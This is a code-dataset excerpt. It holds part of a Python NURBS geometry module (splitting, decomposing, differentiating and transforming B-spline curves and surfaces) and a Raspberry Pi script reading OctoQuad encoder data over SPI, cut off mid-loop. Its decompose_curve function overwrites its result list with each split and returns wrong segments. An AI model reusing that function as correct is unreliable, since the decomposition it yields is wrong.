linalg\nfrom . import _operations\n\n\ndef split_curve(obj, u, **kwargs):\n \"\"\" Splits the curve at the input parametric coordinate.\n\n This method splits the curve into two pieces at the given parametric coordinate, generates two different\n curve objects and returns them. It does not modify the input curve.\n\n :param obj: Curve to be split\n :type obj: abstract.Curve\n :param u: parameter\n :type u: float\n :return: list of curves as the split pieces of the initial curve\n :rtype: list\n \"\"\"\n # Validate input\n if not isinstance(obj, abstract.Curve):\n raise TypeError(\"Input shape must be an instance of abstract.Curve class\")\n\n if not isinstance(obj.evaluator, evaluators.AbstractEvaluatorExtended):\n raise TypeError(\"The evaluator used must be an instance of evaluators.AbstractEvaluatorExtended\")\n\n if u == obj.knotvector[0] or u == obj.knotvector[-1]:\n raise ValueError(\"Cannot split on the corner points\")\n\n # Keyword arguments\n span_func = kwargs.get('find_span_func', helpers.find_span_linear)\n\n # Find multiplicity of the knot and define how many times we need to add the knot\n ks = span_func(obj.degree, obj.knotvector, len(obj.ctrlpts), u) - obj.degree + 1\n s = helpers.find_multiplicity(u, obj.knotvector)\n r = obj.degree - s\n\n # Create backups of the original curve\n temp_obj = copy.deepcopy(obj)\n\n # Insert knot\n temp_obj.insert_knot(u, r=r, check_r=False)\n\n # Knot vectors\n knot_span = span_func(temp_obj.degree, temp_obj.knotvector, len(temp_obj.ctrlpts), u) + 1\n curve1_kv = list(temp_obj.knotvector[0:knot_span])\n curve1_kv.append(u)\n curve2_kv = list(temp_obj.knotvector[knot_span:])\n for _ in range(0, temp_obj.degree + 1):\n curve2_kv.insert(0, u)\n\n # Control points (use private variable due to differences between rational and non-rational curve)\n curve1_ctrlpts = temp_obj._control_points[0:ks + r]\n curve2_ctrlpts = temp_obj._control_points[ks + r - 1:]\n\n # Create a new curve for the first half\n curve1 = temp_obj.__class__()\n curve1.degree = temp_obj.degree\n curve1.set_ctrlpts(curve1_ctrlpts)\n curve1.knotvector = curve1_kv\n\n # Create another curve fot the second half\n curve2 = temp_obj.__class__()\n curve2.degree = temp_obj.degree\n curve2.set_ctrlpts(curve2_ctrlpts)\n curve2.knotvector = curve2_kv\n\n # Return the split curves\n ret_val = [curve1, curve2]\n return ret_val\n\n\ndef decompose_curve(obj, **kwargs):\n \"\"\" Decomposes the curve into Bezier curve segments of the same degree.\n\n This operation does not modify the input curve, instead it returns the split curve segments.\n\n :param obj: Curve to be decomposed\n :type obj: abstract.Curve\n :return: a list of curve objects arranged in Bezier curve segments\n :rtype: list\n \"\"\"\n if not isinstance(obj, abstract.Curve):\n raise TypeError(\"Input shape must be an instance of abstract.Curve class\")\n\n curves = []\n curve = copy.deepcopy(obj)\n knots = curve.knotvector[curve.degree + 1:-(curve.degree + 1)]\n while knots:\n knot = knots[0]\n curves = split_curve(curve, u=knot, **kwargs)\n curves.append(curves[0])\n curve = curves[1]\n knots = curve.knotvector[curve.degree + 1:-(curve.degree + 1)]\n curves.append(curve)\n\n return curves\n\n\ndef derivative_curve(obj):\n \"\"\" Computes the hodograph (first derivative) curve of the input curve.\n\n This function constructs the hodograph (first derivative) curve from the input curve by computing the degrees,\n knot vectors and the control points of the derivative curve.\n\n :param obj: input curve\n :type obj: abstract.Curve\n :return: derivative curve\n \"\"\"\n if not isinstance(obj, abstract.Curve):\n raise TypeError(\"Input shape must be an instance of abstract.Curve class\")\n\n # Unfortunately, rational curves do NOT have this property\n # Ref: https://pages.mtu.edu/~shene/COURSES/cs3621/LAB/curve/1st-2nd.html\n if obj.rational:\n warnings.warn(\"Cannot compute hodograph curve for a rational curve\")\n return obj\n\n # Find the control points of the derivative curve\n pkl = evaluators.CurveEvaluator2.derivatives_ctrlpts(r1=0,\n r2=len(obj.ctrlpts) - 1, # n + 1 = num of control points\n degree=obj.degree,\n knotvector=obj.knotvector,\n ctrlpts=obj.ctrlpts,\n dimension=obj.dimension,\n deriv_order=1)\n\n # Generate the derivative curve\n curve = obj.__class__()\n curve.degree = obj.degree - 1\n curve.ctrlpts = pkl[1][0:-1]\n curve.knotvector = obj.knotvector[1:-1]\n curve.delta = obj.delta\n\n return curve\n\n\ndef length_curve(obj):\n \"\"\" Computes the approximate length of the parametric curve.\n\n :param obj: input curve\n :type obj: abstract.Curve\n :return: length\n :rtype: float\n \"\"\"\n if not isinstance(obj, abstract.Curve):\n raise TypeError(\"Input shape must be an instance of abstract.Curve class\")\n\n length = 0.0\n evalpts = obj.evalpts\n num_evalpts = len(obj.evalpts)\n for idx in range(num_evalpts - 1):\n length += linalg.point_distance(evalpts[idx], evalpts[idx + 1])\n return length\n\n\ndef add_dimension(obj, **kwargs):\n \"\"\" Converts x-dimensional curve to a (x+1)-dimensional curve.\n\n If you pass ``inplace=True`` keyword argument, the input shape will be updated. Otherwise, this function does not\n change the input shape but returns a new instance of the same shape with the updated data.\n\n Useful when converting a 2-dimensional curve to a 3-dimensional curve.\n\n :param obj: Curve\n :type obj: abstract.Curve\n :return: updated Curve\n :rtype: BSpline.Curve or NURBS.Curve\n \"\"\"\n if not isinstance(obj, abstract.Curve):\n raise TypeError(\"Input shape must be an instance of abstract.Curve class\")\n\n # Keyword arguments\n inplace = kwargs.get('inplace', False)\n array_init = kwargs.get('array_init', [[] for _ in range(len(obj.ctrlpts))])\n offset_value = kwargs.get('offset', 0.0)\n\n # Update control points\n new_ctrlpts = array_init\n for idx, point in enumerate(obj.ctrlpts):\n temp = [float(p) for p in point[0:obj.dimension]]\n temp.append(offset_value)\n new_ctrlpts[idx] = temp\n\n if inplace:\n obj.ctrlpts = new_ctrlpts\n return obj\n else:\n ret = copy.deepcopy(obj)\n ret.ctrlpts = new_ctrlpts\n return ret\n\n\ndef split_surface_u(obj, t, **kwargs):\n \"\"\" Splits the surface at the input parametric coordinate on the u-direction.\n\n This method splits the surface into two pieces at the given parametric coordinate on the u-direction,\n generates two different surface objects and returns them. It does not modify the input surface.\n\n :param obj: surface\n :type obj: abstract.Surface\n :param t: parameter for the u-direction\n :type t: float\n :return: list of surface as the split pieces of the initial surface\n :rtype: list\n \"\"\"\n # Validate input\n if not isinstance(obj, abstract.Surface):\n raise TypeError(\"Input shape must be an instance of abstract.Surface class\")\n\n if not isinstance(obj.evaluator, evaluators.AbstractEvaluatorExtended):\n raise TypeError(\"The evaluator used must be an instance of evaluators.AbstractEvaluatorExtended\")\n\n if t == obj.knotvector_u[0] or t == obj.knotvector_u[-1]:\n raise ValueError(\"Cannot split on the edge\")\n\n # Keyword arguments\n span_func = kwargs.get('find_span_func', helpers.find_span_linear)\n\n # Find multiplicity of the knot\n ks = span_func(obj.degree_u, obj.knotvector_u, obj.ctrlpts_size_u, t) - obj.degree_u + 1\n s = helpers.find_multiplicity(t, obj.knotvector_u)\n r = obj.degree_u - s\n\n # Create backups of the original surface\n temp_obj = copy.deepcopy(obj)\n\n # Split the original surface\n temp_obj.insert_knot(u=t, ru=r, check_r=False)\n\n # Knot vectors\n knot_span = span_func(temp_obj.degree_u, temp_obj.knotvector_u, temp_obj.ctrlpts_size_u, t) + 1\n surf1_kv = list(temp_obj.knotvector_u[0:knot_span])\n surf1_kv.append(t)\n surf2_kv = list(temp_obj.knotvector_u[knot_span:])\n for _ in range(0, temp_obj.degree_u + 1):\n surf2_kv.insert(0, t)\n\n # Control points\n surf1_ctrlpts = temp_obj.ctrlpts2d[0:ks + r]\n surf2_ctrlpts = temp_obj.ctrlpts2d[ks + r - 1:]\n\n # Create a new surface for the first half\n surf1 = temp_obj.__class__()\n surf1.degree_u = temp_obj.degree_u\n surf1.degree_v = temp_obj.degree_v\n surf1.ctrlpts2d = surf1_ctrlpts\n surf1.knotvector_u = surf1_kv\n surf1.knotvector_v = temp_obj.knotvector_v\n\n # Create another surface fot the second half\n surf2 = temp_obj.__class__()\n surf2.degree_u = temp_obj.degree_u\n surf2.degree_v = temp_obj.degree_v\n surf2.ctrlpts2d = surf2_ctrlpts\n surf2.knotvector_u = surf2_kv\n surf2.knotvector_v = temp_obj.knotvector_v\n\n # Return the new surfaces\n ret_val = [surf1, surf2]\n return ret_val\n\n\ndef split_surface_v(obj, t, **kwargs):\n \"\"\" Splits the surface at the input parametric coordinate on the v-direction.\n\n This method splits the surface into two pieces at the given parametric coordinate on the v-direction,\n generates two different surface objects and returns them. It does not modify the input surface.\n\n :param obj: surface\n :type obj: abstract.Surface\n :param t: parameter for the v-direction\n :type t: float\n :return: list of surface as the split pieces of the initial surface\n :rtype: list\n \"\"\"\n # Validate input\n if not isinstance(obj, abstract.Surface):\n raise TypeError(\"Input shape must be an instance of abstract.Surface class\")\n\n if not isinstance(obj.evaluator, evaluators.AbstractEvaluatorExtended):\n raise TypeError(\"The evaluator used must be an instance of evaluators.AbstractEvaluatorExtended\")\n\n if t == obj.knotvector_v[0] or t == obj.knotvector_v[-1]:\n raise ValueError(\"Cannot split on the edge\")\n\n # Keyword arguments\n span_func = kwargs.get('find_span_func', helpers.find_span_linear)\n\n # Find multiplicity of the knot\n ks = span_func(obj.degree_v, obj.knotvector_v, obj.ctrlpts_size_v, t) - obj.degree_v + 1\n s = helpers.find_multiplicity(t, obj.knotvector_v)\n r = obj.degree_v - s\n\n # Create backups of the original surface\n temp_obj = copy.deepcopy(obj)\n\n # Split the original surface\n temp_obj.insert_knot(v=t, rv=r, check_r=False)\n\n # Knot vectors\n knot_span = span_func(temp_obj.degree_v, temp_obj.knotvector_v, temp_obj.ctrlpts_size_v, t) + 1\n surf1_kv = list(temp_obj.knotvector_v[0:knot_span])\n surf1_kv.append(t)\n surf2_kv = list(temp_obj.knotvector_v[knot_span:])\n for _ in range(0, temp_obj.degree_v + 1):\n surf2_kv.insert(0, t)\n\n # Control points\n surf1_ctrlpts = []\n for v_row in temp_obj.ctrlpts2d:\n temp = v_row[0:ks + r]\n surf1_ctrlpts.append(temp)\n surf2_ctrlpts = []\n for v_row in temp_obj.ctrlpts2d:\n temp = v_row[ks + r - 1:]\n surf2_ctrlpts.append(temp)\n\n # Create a new surface for the first half\n surf1 = temp_obj.__class__()\n surf1.degree_u = temp_obj.degree_u\n surf1.degree_v = temp_obj.degree_v\n surf1.ctrlpts2d = surf1_ctrlpts\n surf1.knotvector_v = surf1_kv\n surf1.knotvector_u = temp_obj.knotvector_u\n\n # Create another surface fot the second half\n surf2 = temp_obj.__class__()\n surf2.degree_u = temp_obj.degree_u\n surf2.degree_v = temp_obj.degree_v\n surf2.ctrlpts2d = surf2_ctrlpts\n surf2.knotvector_v = surf2_kv\n surf2.knotvector_u = temp_obj.knotvector_u\n\n # Return the new surfaces\n ret_val = [surf1, surf2]\n return ret_val\n\n\ndef decompose_surface(obj, **kwargs):\n \"\"\" Decomposes the surface into Bezier surface patches of the same degree.\n\n This operation does not modify the input surface, instead it returns the surface patches.\n\n :param obj: surface\n :type obj: abstract.Surface\n :return: a list of surface objects arranged as Bezier surface patches\n :rtype: multi.SurfaceContainer\n \"\"\"\n # Validate input\n if not isinstance(obj, abstract.Surface):\n raise TypeError(\"Input shape must be an instance of abstract.Surface class\")\n\n # Work with an identical copy\n surf = copy.deepcopy(obj)\n\n surf_list = []\n\n # Process u-direction\n knots_u = surf.knotvector_u[surf.degree_u + 1:-(surf.degree_u + 1)]\n while knots_u:\n knot = knots_u[0]\n surfs = split_surface_u(surf, t=knot, **kwargs)\n surf_list.append(surfs[0])\n surf = surfs[1]\n knots_u = surf.knotvector_u[surf.degree_u + 1:-(surf.degree_u + 1)]\n surf_list.append(surf)\n\n # Process v-direction\n multi_surf = []\n for surf in surf_list:\n knots_v = surf.knotvector_v[surf.degree_v + 1:-(surf.degree_v + 1)]\n while knots_v:\n knot = knots_v[0]\n surfs = split_surface_v(surf, t=knot, **kwargs)\n multi_surf.append(surfs[0])\n surf = surfs[1]\n knots_v = surf.knotvector_v[surf.degree_v + 1:-(surf.degree_v + 1)]\n multi_surf.append(surf)\n\n return multi_surf\n\n\ndef derivative_surface(obj):\n \"\"\" Computes the hodograph (first derivative) surface of the input surface.\n\n This function constructs the hodograph (first derivative) surface from the input surface by computing the degrees,\n knot vectors and the control points of the derivative surface.\n\n The return value of this function is a tuple containing the following derivative surfaces in the given order:\n\n * U-derivative surface (derivative taken only on the u-direction)\n * V-derivative surface (derivative taken only on the v-direction)\n * UV-derivative surface (derivative taken on both the u- and the v-direction)\n\n :param obj: input surface\n :type obj: abstract.Surface\n :return: derivative surfaces w.r.t. u, v and both u-v\n :rtype: tuple\n \"\"\"\n if not isinstance(obj, abstract.Surface):\n raise TypeError(\"Input shape must be an instance of abstract.Surface class\")\n\n if obj.rational:\n warnings.warn(\"Cannot compute hodograph surface for a rational surface\")\n return obj\n\n # Find the control points of the derivative surface\n d = 2 # 0 <= k + l <= d, see pg. 114 of The NURBS Book, 2nd Ed.\n pkl = evaluators.SurfaceEvaluator2.derivatives_ctrlpts(r1=0, r2=obj.ctrlpts_size_u - 1,\n s1=0, s2=obj.ctrlpts_size_v - 1,\n degree_u=obj.degree_u, degree_v=obj.degree_v,\n ctrlpts_size_u=obj.ctrlpts_size_u,\n ctrlpts_size_v=obj.ctrlpts_size_v,\n knotvector_u=obj.knotvector_u, knotvector_v=obj.knotvector_v,\n ctrlpts=obj.ctrlpts2d,\n dimension=obj.dimension,\n deriv_order=d)\n\n ctrlpts2d_u = []\n for i in range(0, len(pkl[1][0]) - 1):\n ctrlpts2d_u.append(pkl[1][0][i])\n\n surf_u = copy.deepcopy(obj)\n surf_u.degree_u = obj.degree_u - 1\n surf_u.ctrlpts2d = ctrlpts2d_u\n surf_u.knotvector_u = obj.knotvector_u[1:-1]\n surf_u.delta = obj.delta\n\n ctrlpts2d_v = []\n for i in range(0, len(pkl[0][1])):\n ctrlpts2d_v.append(pkl[0][1][i][0:-1])\n\n surf_v = copy.deepcopy(obj)\n surf_v.degree_v = obj.degree_v - 1\n surf_v.ctrlpts2d = ctrlpts2d_v\n surf_v.knotvector_v = obj.knotvector_v[1:-1]\n surf_v.delta = obj.delta\n\n ctrlpts2d_uv = []\n for i in range(0, len(pkl[1][1]) - 1):\n ctrlpts2d_uv.append(pkl[1][1][i][0:-1])\n\n # Generate the derivative curve\n surf_uv = obj.__class__()\n surf_uv.degree_u = obj.degree_u - 1\n surf_uv.degree_v = obj.degree_v - 1\n surf_uv.ctrlpts2d = ctrlpts2d_uv\n surf_uv.knotvector_u = obj.knotvector_u[1:-1]\n surf_uv.knotvector_v = obj.knotvector_v[1:-1]\n surf_uv.delta = obj.delta\n\n return surf_u, surf_v, surf_uv\n\n\ndef translate(obj, vec, **kwargs):\n \"\"\" Translates curves, surface or volumes by the input vector.\n\n If you pass ``inplace=True`` keyword argument, the input shape will be updated. Otherwise, this function does not\n change the input shape but returns a new instance of the same shape with the updated data.\n\n :param obj: input geometry\n :type obj: abstract.SplineGeometry or multi.AbstractContainer\n :param vec: translation vector\n :type vec: list, tuple\n :return: translated geometry object\n \"\"\"\n # Input validity checks\n if not vec or not isinstance(vec, (tuple, list)):\n raise TypeError(\"The input must be a list or a tuple\")\n\n if isinstance(obj, abstract.SplineGeometry):\n return _operations.translate_single(obj, vec, **kwargs)\n elif isinstance(obj, multi.AbstractContainer):\n return _operations.translate_multi(obj, vec, **kwargs)\n else:\n raise TypeError(\"The input shape must be a curve or a surface (single or multi)\")\n\n\ndef tangent(obj, params, **kwargs):\n \"\"\" Evaluates the tangent vector of the curves or surfaces at the input parameter values.\n\n This function is designed to evaluate tangent vectors of the B-Spline and NURBS shapes at single or\n multiple parameter positions.\n\n :param obj: input shape\n :type obj: abstract.Curve or abstract.Surface\n :param params: parameters\n :type params: float, list or tuple\n :return: a list containing \"point\" and \"vector\" pairs\n :rtype: tuple\n \"\"\"\n normalize = kwargs.get('normalize', True)\n if isinstance(obj, abstract.Curve):\n if isinstance(params, (list, tuple)):\n return _operations.tangent_curve_single_list(obj, params, normalize)\n else:\n return _operations.tangent_curve_single(obj, params, normalize)\n if isinstance(obj, abstract.Surface):\n if isinstance(params[0], float):\n return _operations.tangent_surface_single(obj, params, normalize)\n else:\n return _operations.tangent_surface_single_list(obj, params, normalize)\n\n\ndef normal(obj, params, **kwargs):\n \"\"\" Evaluates the normal vector of the curves or surfaces at the input parameter values.\n\n This function is designed to evaluate normal vectors of the B-Spline and NURBS shapes at single or\n multiple parameter positions.\n\n :param obj: input geometry\n :type obj: abstract.Curve or abstract.Surface\n :param params: parameters\n :type params: float, list or tuple\n :return: a list containing \"point\" and \"vector\" pairs\n :rtype: tuple\n \"\"\"\n normalize = kwargs.get('normalize', True)\n if isinstance(obj, abstract.Curve):\n if isinstance(params, (list, tuple)):\n return _operations.normal_curve_single_list(obj, params, normalize)\n else:\n return _operations.normal_curve_single(obj, params, normalize)\n if isinstance(obj, abstract.Surface):\n if isinstance(params[0], float):\n return _operations.normal_surface_single(obj, params, normalize)\n else:\n return _operations.normal_surface_single_list(obj, params, normalize)\n\n\ndef binormal(obj, params, **kwargs):\n \"\"\" Evaluates the binormal vector of the curves or surfaces at the input parameter values.\n\n This function is designed to evaluate binormal vectors of the B-Spline and NURBS shapes at single or\n multiple parameter positions.\n\n :param obj: input shape\n :type obj: abstract.Curve or abstract.Surface\n :param params: parameters\n :type params: float, list or tuple\n :return: a list containing \"point\" and \"vector\" pairs\n :rtype: tuple\n \"\"\"\n normalize = kwargs.get('normalize', True)\n if isinstance(obj, abstract.Curve):\n if isinstance(params, (list, tuple)):\n return _operations.binormal_curve_single_list(obj, params, normalize)\n else:\n return _operations.binormal_curve_single(obj, params, normalize)\n if isinstance(obj, abstract.Surface):\n raise NotImplementedError(\"Binormal vector evaluation for the surfaces is not implemented!\")\n\n\ndef find_ctrlpts(obj, u, v=None, **kwargs):\n \"\"\" Finds the control points involved in the evaluation of the curve/surface point defined by the input parameter(s).\n\n :param obj: curve or surface\n :type obj: abstract.Curve or abstract.Surface\n :param u: parameter (for curve), parameter on the u-direction (for surface)\n :type u: float\n :param v: parameter on the v-direction (for surface only)\n :type v: float\n :return: control points; 1-dimensional array for curve, 2-dimensional array for surface\n :rtype: list\n \"\"\"\n if isinstance(obj, abstract.Curve):\n return _operations.find_ctrlpts_curve(u, obj, **kwargs)\n elif isinstance(obj, abstract.Surface):\n if v is None:\n raise ValueError(\"Parameter value for the v-direction must be set for operating on surfaces\")\n return _operations.find_ctrlpts_surface(u, v, obj, **kwargs)\n else:\n raise NotImplementedError(\"The input must be an instance of abstract.Curve or abstract.Surface\")\n\n\ndef rotate(obj, angle, **kwargs):\n \"\"\" Rotates curves, surfaces or volumes about the chosen axis.\n\n Keyword Arguments:\n * ``axis``: rotation axis; x, y, z correspond to 0, 1, 2 respectively.\n * ``inplace``: if True, the input shape is modified. *Default: False*\n\n :param obj: input geometry\n :type obj: abstract.Curve, abstract.Surface or abstract.Volume\n :param angle: angle of rotation (in degrees)\n :type angle: float\n :return: rotated geometry object\n \"\"\"\n def rotate_x(ncs, opt, alpha):\n # Generate translation vector\n translate_vector = linalg.vector_generate(opt, [0.0 for _ in range(ncs.dimension)])\n\n # Translate to the origin\n translate(ncs, translate_vector, inplace=True)\n\n # Then, rotate about the axis\n rot = math.radians(alpha)\n new_ctrlpts = [[0.0 for _ in range(ncs.dimension)] for _ in range(len(ncs.ctrlpts))]\n for idx, pt in enumerate(ncs.ctrlpts):\n new_ctrlpts[idx][0] = pt[0]\n new_ctrlpts[idx][1] = (pt[1] * math.cos(rot)) - (pt[2] * math.sin(rot))\n new_ctrlpts[idx][2] = (pt[2] * math.cos(rot)) + (pt[1] * math.sin(rot))\n ncs.ctrlpts = new_ctrlpts\n\n # Finally, translate back to the starting location\n translate(ncs, [-o for o in opt])\n\n def rotate_y(ncs, opt, alpha):\n # Generate translation vector\n translate_vector = linalg.vector_generate(opt, [0.0 for _ in range(ncs.dimension)])\n\n # Translate to the origin\n translate(ncs, translate_vector, inplace=True)\n\n # Then, rotate about the axis\n rot = math.radians(alpha)\n new_ctrlpts = [[0.0 for _ in range(ncs.dimension)] for _ in range(len(ncs.ctrlpts))]\n for idx, pt in enumerate(ncs.ctrlpts):\n new_ctrlpts[idx][0] = (pt[0] * math.cos(rot)) - (pt[2] * math.sin(rot))\n new_ctrlpts[idx][1] = pt[1]\n new_ctrlpts[idx][2] = (pt[2] * math.cos(rot)) + (pt[0] * math.sin(rot))\n ncs.ctrlpts = new_ctrlpts\n\n # Finally, translate back to the starting location\n translate(ncs, [-o for o in opt])\n\n def rotate_z(ncs, opt, alpha):\n # Generate translation vector\n translate_vector = linalg.vector_generate(opt, [0.0 for _ in range(ncs.dimension)])\n\n # Translate to the origin\n translate(ncs, translate_vector, inplace=True)\n\n # Then, rotate about the axis\n rot = math.radians(alpha)\n new_ctrlpts = [list(ncs.ctrlpts[i]) for i in range(len(ncs.ctrlpts))]\n for idx, pt in enumerate(ncs.ctrlpts):\n new_ctrlpts[idx][0] = (pt[0] * math.cos(rot)) - (pt[1] * math.sin(rot))\n new_ctrlpts[idx][1] = (pt[1] * math.cos(rot)) + (pt[0] * math.sin(rot))\n ncs.ctrlpts = new_ctrlpts\n\n # Finally, translate back to the starting location\n translate(ncs, [-o for o in opt])\n\n if isinstance(obj, (abstract.Curve, abstract.Surface, abstract.Volume)):\n origin = obj.evaluate_single(0.0)\n else:\n raise TypeError(\"Can only work with a single curve, surface or volume\")\n\n axis = 2 if obj.dimension == 2 else kwargs.get('axis', 2)\n inplace = kwargs.get('inplace', False)\n\n if inplace:\n _obj = obj\n else:\n _obj = copy.deepcopy(obj)\n\n args = [_obj, origin, angle]\n if axis == 0:\n rotate_x(*args)\n elif axis == 1:\n rotate_y(*args)\n elif axis == 2:\n rotate_z(*args)\n else:\n raise ValueError(\"Value of the 'axis' argument should be 0, 1 or 2\")\n\n return _obj\n\n\ndef scale(obj, multiplier, **kwargs):\n \"\"\" Scales curves, surfaces or volumes by the input multiplier.\n\n Keyword Arguments:\n * ``inplace``: if True, the input shape is modified. *Default: False*\n\n :param obj: input geometry\n :type obj: abstract.Curve, abstract.Surface or abstract.Volume\n :param multiplier: scaling multiplier\n :type multiplier: float\n :return: scaled geometry object\n \"\"\"\n # Input validity checks\n if not isinstance(multiplier, (int, float)):\n raise TypeError(\"The multiplier must be a float or an integer\")\n\n if isinstance(obj, abstract.SplineGeometry):\n return _operations.scale_single(obj, multiplier, **kwargs)\n elif isinstance(obj, multi.AbstractContainer):\n return _operations.scale_multi(obj, multiplier, **kwargs)\n else:\n raise TypeError(\"The input shape must be a curve or a surface (single or multi)\")\n\n\ndef transpose(surf, **kwargs):\n \"\"\" Transposes the input surface by swapping u and v parametric directions.\n\n If you pass ``inplace=True`` keyword argument, the input surface will be updated. Otherwise, this function does not\n change the input surface but returns a new instance of the same surface with the updated data.\n\n :param surf: input surface\n :type surf: abstract.Surface\n :return: transposed surface\n :rtype: abstract.Surface\n \"\"\"\n if not isinstance(surf, abstract.Surface):\n raise TypeError(\"Can only transpose single surfaces\")\n\n inplace = kwargs.get('inplace', False)\n\n # Get existing data\n degree_u_new = surf.degree_v\n degree_v_new = surf.degree_u\n kv_u_new = surf.knotvector_v\n kv_v_new = surf.knotvector_u\n ctrlpts2d_old = surf.ctrlpts2d\n\n # Find new control points\n ctrlpts2d_new = []\n for v in range(0, surf.ctrlpts_size_v):\n ctrlpts_u = []\n for u in range(0, surf.ctrlpts_size_u):\n temp = ctrlpts2d_old[u][v]\n ctrlpts_u.append(temp)\n ctrlpts2d_new.append(ctrlpts_u)\n\n # Save transposed data\n if inplace:\n surf_t = surf\n else:\n surf_t = surf.__class__()\n surf_t.degree_u = degree_u_new\n surf_t.degree_v = degree_v_new\n surf_t.ctrlpts2d = ctrlpts2d_new\n surf_t.knotvector_u = kv_u_new\n surf_t.knotvector_v = kv_v_new\n\n return surf_t\n","repo_name":"ZJUTongYang/SOFTX_2018_148","sub_path":"geomdl/operations.py","file_name":"operations.py","file_ext":"py","file_size_in_byte":27770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"19"} +{"seq_id":"35779547782","text":"import spidev\nimport time\nimport RPi.GPIO as GPIO\nimport sys\n\n#----------------------------------------------------------------\n# CONSTANTS\n#----------------------------------------------------------------\n\nNUM_ENCODERS = 8\nENCODER_FIRST = 0\nENCODER_LAST = NUM_ENCODERS\n\nsizeof_int16 = 2\nsizeof_int32 = 4\n\nsizeof_vel = sizeof_int16\nsizeof_cnt = sizeof_int32\n\nCNT_PAYLOAD_LEN = sizeof_cnt*NUM_ENCODERS\nVEL_PAYLOAD_LEN = sizeof_vel*NUM_ENCODERS\nENC_DATA_PAYLOAD_LEN = CNT_PAYLOAD_LEN + VEL_PAYLOAD_LEN\nFW_PAYLOAD_LEN = 3\n\nSECONDS_PER_US = 1 / 1000000\n\nSPI_BUS = 0 # We only have one bus\nSPI_CS = 1 # Not actually used bc we control manually using a GPIO\nSPI_MODE = 3\nSPI_BAUD = 1000000\nSS_PIN = 5\n\nOCTOQUAD_FLAG_WRITE = 0x57\nOCTOQUAD_FLAG_WRITE_STICKY = 0x53\nOCTOQUAD_FLAG_READ = 0x52\n\nSUPPORTED_FW_VERSION_MAJ = 2\nOCTOQUAD_CHIP_ID = 0x51\n\nOCTOQUAD_REG_CHIP_ID = 0\nOCTOQUAD_REG_FW_MAJ = 1\nOCTOQUAD_REG_ENC0 = 0x0C\n\n#----------------------------------------------------------------\n# SPI XFER FUNTCIONS\n#----------------------------------------------------------------\ndef sleepMicroseconds(us):\n time.sleep(us * SECONDS_PER_US)\n\ndef slaveSelectAssert():\n GPIO.output(SS_PIN, GPIO.LOW)\n sleepMicroseconds(50)\n\ndef slaveSelectUnassert():\n GPIO.output(SS_PIN, GPIO.HIGH)\n sleepMicroseconds(50)\n\ndef octoquad_xfer(tx):\n slaveSelectAssert()\n rx = spi.xfer(tx)\n slaveSelectUnassert()\n return rx\n\ndef writeRegisters(reg, data):\n data.insert(0, OCTOQUAD_FLAG_WRITE)\n data.insert(1, reg)\n octoquad_xfer(data)\n\ndef readRegisters(num):\n tx = bytearray(num)\n tx.insert(0, OCTOQUAD_FLAG_READ)\n rx = octoquad_xfer(tx)\n return rx[1:len(rx)]\n\ndef setRegisterAddress(reg, sticky):\n tx = bytearray(2)\n if sticky == True:\n tx[0] = OCTOQUAD_FLAG_WRITE_STICKY\n else:\n tx[0] = OCTOQUAD_FLAG_WRITE\n tx[1] = reg\n octoquad_xfer(tx)\n\n#----------------------------------------------------------------\n# HELPER FUNCTIONS\n#----------------------------------------------------------------\n\ndef bytesToInt32(theBytes):\n if (len(theBytes) != sizeof_int32):\n print (\"Err, bytesToInt32\")\n exit()\n\n return int.from_bytes(theBytes, byteorder='little', signed=True)\n\n\ndef bytesToInt16(theBytes):\n if (len(theBytes) != sizeof_int16):\n print (\"Err, bytesToInt16\")\n exit()\n\n return int.from_bytes(theBytes, byteorder='little', signed=True)\n\ndef parseCountData(theBytes):\n if (len(theBytes) != CNT_PAYLOAD_LEN):\n print (\"Err, len(theBytes)\")\n exit()\n\n counts = []\n\n for i in range(ENCODER_FIRST,ENCODER_LAST):\n counts.append(bytesToInt32(theBytes[i*sizeof_cnt:(1+i) * sizeof_cnt]))\n\n return counts\n\ndef parseVelocityData(theBytes):\n if (len(theBytes) != VEL_PAYLOAD_LEN):\n print (\"Err, len(theBytes)\")\n exit()\n\n counts = []\n\n for i in range(ENCODER_FIRST,ENCODER_LAST):\n counts.append(bytesToInt16(theBytes[i*sizeof_vel:(1+i) * sizeof_vel]))\n\n return counts\n\ndef parseEncoderDataBlock(theBytes, enc, vel):\n if (len(theBytes) != (CNT_PAYLOAD_LEN + VEL_PAYLOAD_LEN)):\n print (\"Err, len(theBytes)\")\n exit()\n\n enc.clear()\n vel.clear()\n\n enc.extend(parseCountData(theBytes[0:CNT_PAYLOAD_LEN]))\n vel.extend(parseVelocityData(theBytes[CNT_PAYLOAD_LEN:CNT_PAYLOAD_LEN+VEL_PAYLOAD_LEN]))\n\ndef updateEncoderDataSticky(enc, vel):\n parseEncoderDataBlock(readRegisters(ENC_DATA_PAYLOAD_LEN), enc, vel)\n \ndef readFwVersion():\n setRegisterAddress(OCTOQUAD_REG_FW_MAJ, False)\n fw = readRegisters(FW_PAYLOAD_LEN)\n return fw\n \ndef readChipID():\n setRegisterAddress(OCTOQUAD_REG_CHIP_ID, False)\n return readRegisters(1)[0]\n\n#----------------------------------------------------------------\n# MAIN\n#----------------------------------------------------------------\n\n# Lists to hold counts and velocities\ncounts = []\nvelocities = []\n\n# Setup slave select pin\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(SS_PIN, GPIO.OUT)\n\n# We're not transmitting just yet\nslaveSelectUnassert()\n\n# Setup SPI peripheral\nspi = spidev.SpiDev(SPI_BUS, SPI_CS)\nspi.max_speed_hz = SPI_BAUD\nspi.mode = SPI_MODE\n\n# Verify CHIP_ID\nprint(\"Reading CHIP_ID\")\n# Do a throwaway read; for some reason the first byte read sometimes reports 128 (Pi specific issue?)\nreadChipID()\nreportedChipID = readChipID()\nif (reportedChipID == OCTOQUAD_CHIP_ID):\n print(\"CHIP_ID reports 0x%X as expected\" % OCTOQUAD_CHIP_ID)\nelse:\n print(\"CHIP_ID check failed, got 0x%X, expect 0x%X\" % (reportedChipID, OCTOQUAD_CHIP_ID))\n sys.exit()\n\n# Report FW version to console\nfw = readFwVersion()\nprint (\"OctoQuad reports FW v%d.%d.%d\" % (fw[0], fw[1], fw[2]))\n\n# Check if we are compatible with that vesion\nif (fw[0] != SUPPORTED_FW_VERSION_MAJ):\n print(\"Cannot continue: The connected OctoQuad is running a firmware with a different major version than this program expects (expect %d)\" % SUPPORTED_FW_VERSION_MAJ)\n sys.exit()\n\n# Set sticky register for reads of encoder data\nsetRegisterAddress(OCTOQUAD_REG_ENC0, True)\n\n# Pause for a moment to allow FW to be read\nfor i in 